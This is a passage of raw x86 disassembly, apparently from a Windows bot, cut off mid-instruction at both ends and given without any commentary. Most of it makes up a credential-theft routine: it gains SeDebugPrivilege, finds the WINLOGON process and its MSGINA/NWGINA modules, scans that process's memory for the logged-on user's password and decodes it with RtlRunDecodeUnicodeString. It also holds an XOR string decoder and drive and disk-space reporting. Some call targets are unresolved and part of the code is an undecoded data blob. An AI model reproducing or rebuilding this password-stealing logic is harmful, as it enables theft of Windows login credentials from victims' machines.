[ebp-48h] imul eax, 234h add eax, offset dword_43E720 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_4382EC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j nop call near ptr 2690648h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2660830h push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382C4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43828C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB950 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438270 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43822C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB98 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2660BA5h nop cmp eax, edi jnz short loc_416C1E call dword_4CB93C call sub_4188A6 push esi nop call near ptr 77E75CB5h loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381F8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381CC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA18 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D3608 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA44 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383BC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383B8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8D4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_43840C lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383D0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB94C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB94C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438448 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43846C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43844C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 95E85359h, 90022C8Eh, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84B068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC4BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0E890FC75h, 2338DD8h, 8F75C085h, 90FC75FFh, 1C8DCBE8h dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 94681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h, 0C0850233h dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438688 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26A0BB9h nop mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D484C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4840, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A50, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4848, eax call esi mov dword_4D4844, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3840 push edi push ebx push offset off_4385C4 call esi push edi mov edi, offset dword_4D4040 push edi push offset off_4385AC call esi cmp [ebp+var_4], 1 push offset dword_4D4A58 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A58, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438550 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438518 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384EC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] call near ptr 2790852h nop pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384B8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D484C push ebp push 0 call esi push eax nop call near ptr 27B0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D484C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4840 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A50 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4848 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4848 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2680231h cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27D0000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27C0B76h test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3840 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4040 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 27404B3h test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2740000h test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A64, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A5C, eax mov dword_4D4A60, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] nop call near ptr 2660830h pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2680231h test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27D0000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb 